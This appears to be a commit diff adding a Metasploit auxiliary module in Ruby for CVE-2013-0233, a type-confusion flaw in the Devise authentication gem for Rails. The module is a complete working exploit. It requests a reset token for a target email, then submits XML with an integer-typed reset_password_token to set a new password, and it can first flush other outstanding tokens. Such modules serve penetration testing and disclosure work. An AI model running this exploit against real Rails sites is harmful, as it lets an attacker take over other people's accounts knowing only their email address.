1
+ ##
2
+ # This file is part of the Metasploit Framework and may be subject to
3
+ # redistribution and commercial restrictions. Please see the Metasploit
4
+ # web site for more information on licensing and terms of use.
5
+ # http://metasploit.com/
6
+ ##
7
+
8
+ require 'msf/core'
9
+ require 'rexml/element'
10
+
11
+ class Metasploit3 < Msf ::Auxiliary
12
+
13
+ include Msf ::Exploit ::Remote ::HttpClient
14
+
15
+ def initialize ( info = { } )
16
+ super ( update_info ( info ,
17
+ 'Name' => 'Ruby on Rails Devise Authentication Password Reset' ,
18
+ 'Description' => %q{
19
+ The Devise authentication gem for Ruby on Rails is vulnerable
20
+ to a password reset exploit leveraging type confusion. By submitting XML
21
+ to rails, we can influence the type used for the reset_password_token
22
+ parameter. This allows for resetting passwords of arbitrary accounts,
23
+ knowing only the associated email address.
24
+
25
+ This module defaults to the most common devise URIs and response values,
26
+ but these may require adjustment for implementations which customize them.
27
+
28
+ Affects Devise < v2.2.3, 2.1.3, 2.0.5 and 1.5.4 when backed by any database
29
+ except PostgreSQL or SQLite3. Tested with v2.2.2, 2.1.2, and 2.0.4.
30
+ } ,
31
+ 'Author' =>
32
+ [
33
+ 'joernchen' , #original discovery and disclosure
34
+ 'jjarmoc' #metasploit module
35
+ ] ,
36
+ 'License' => MSF_LICENSE ,
37
+ 'References' =>
38
+ [
39
+ [ 'CVE' , '2013-0233' ] ,
40
+ [ 'OSVDB' , '89642' ] ,
41
+ [ 'BID' , '57577' ] ,
42
+ [ 'URL' , 'http://blog.plataformatec.com.br/2013/01/security-announcement-devise-v2-2-3-v2-1-3-v2-0-5-and-v1-5-3-released/' ] ,
43
+ [ 'URL' , 'http://www.phenoelit.org/blog/archives/2013/02/05/mysql_madness_and_rails/index.html' ]
44
+ ] ,
45
+ 'DisclosureDate' => 'Jan 28 2013'
46
+ ) )
47
+
48
+ register_options (
49
+ [
50
+ OptString . new ( 'TARGETURI' , [ true , 'The request URI' , '/users/password' ] ) ,
51
+ OptString . new ( 'TARGETEMAIL' , [ true , 'The email address of target account' ] ) ,
52
+ OptString . new ( 'PASSWORD' , [ true , 'The password to set' ] ) ,
53
+ OptBool . new ( 'FLUSHTOKENS' , [ true , 'Flush existing reset tokens before trying' , true ] ) ,
54
+ OptInt . new ( 'MAXINT' , [ true , 'Max integer to try (tokens begining with a higher int will fail)' , 10 ] )
55
+ ] , self . class )
56
+ end
57
+
58
+ def generate_token ( account )
59
+ # CSRF token from GET "/users/password/new" isn't actually validated it seems.
60
+
61
+ postdata = "user[email]=#{ account } "
62
+
63
+ res = send_request_cgi ( {
64
+ 'uri' => normalize_uri ( datastore [ 'TARGETURI' ] ) ,
65
+ 'method' => 'POST' ,
66
+ 'data' => postdata ,
67
+ } )
68
+
69
+ unless res
70
+ print_error ( "No response from server" )
71
+ return false
72
+ end
73
+
74
+ if res . code == 200
75
+ error_text = res . body [ /<div id=\" error_explanation\" >\n \s +(.*?)<\/ div>/m , 1 ]
76
+ print_error ( "Server returned error" )
77
+ vprint_error ( error_text )
78
+ return false
79
+ end
80
+
81
+ return true
82
+ end
83
+
84
+ def clear_tokens ( )
85
+ count = 0
86
+ status = true
87
+ until ( status == false ) do
88
+ status = reset_one ( Rex ::Text . rand_text_alpha ( rand ( 10 ) + 5 ) )
89
+ count += 1 if status
90
+ end
91
+ vprint_status ( "Cleared #{ count } tokens" )
92
+ end
93
+
94
+ def reset_one ( password , report = false )
95
+
96
+ ( 0 ..datastore [ 'MAXINT' ] ) . each { |int_to_try |
97
+ encode_pass = REXML ::Text . new ( password ) . to_s
98
+
99
+ xml = ""
100
+ xml << "<user>"
101
+ xml << "<password>#{ encode_pass } </password>"
102
+ xml << "<password_confirmation>#{ encode_pass } </password_confirmation>"
103
+ xml << "<reset_password_token type=\" integer\" >#{ int_to_try } </reset_password_token>"
104
+ xml << "</user>"
105
+
106
+ res = send_request_cgi ( {
107
+ 'uri' => normalize_uri ( datastore [ 'TARGETURI' ] ) ,
108
+ 'method' => 'PUT' ,
109
+ 'ctype' => 'application/xml' ,
110
+ 'data' => xml ,
111
+ } )
112
+
113
+ unless res
114
+ print_error ( "No response from server" )
115
+ return false
116
+ end
117
+
118
+ case res . code
119
+ when 200
120
+ # Failure, grab the error text
121
+ # May need to tweak this for some apps...
122
+ error_text = res . body [ /<div id=\" error_explanation\" >\n \s +(.*?)<\/ div>/m , 1 ]
123
+ if ( report ) && ( error_text !~ /token/ )
124
+ print_error ( "Server returned error" )
125
+ vprint_error ( error_text )
126
+ return false
127
+ end
128
+ when 302
129
+ #Success!
130
+ return true
131
+ else
132
+ print_error ( "ERROR: received code #{ res . code } " )
133
+ return false
134
+ end
135
+ }
136
+
137
+ print_error ( "No active reset tokens below #{ datastore [ 'MAXINT' ] } remain. Try a higher MAXINT." ) if report
138
+ return false
139
+
140
+ end
141
+
142
+ def run
143
+ # Clear outstanding reset tokens, helps ensure we hit the intended account.
144
+ print_status ( "Clearing existing tokens..." )
145
+ clear_tokens ( ) if datastore [ 'FLUSHTOKENS' ]
146
+
147
+ # Generate a token for our account
148
+ print_status ( "Generating reset token for #{ datastore [ 'TARGETEMAIL' ] } ..." )
149
+ status = generate_token ( datastore [ 'TARGETEMAIL' ] )
150
+ if status == false
151
+ print_error ( "Failed to generate reset token" )
152
+ return
153
+ end
154
+ print_good ( "Reset token generated successfully" )
155
+
156
+ # Reset a password. We're racing users creating other reset tokens.
157
+ # If we didn't flush, we'll reset the account with the lowest ID that has a token.
158
+ print_status ( "Resetting password to \" #{ datastore [ 'PASSWORD' ] } \" ..." )
159
+ status = reset_one ( datastore [ 'PASSWORD' ] , true )
160
+ status ? print_good ( "Password reset worked successfully" ) : print_error ( "Failed to reset password" )
161
+ end
162
+ end
0 commit comments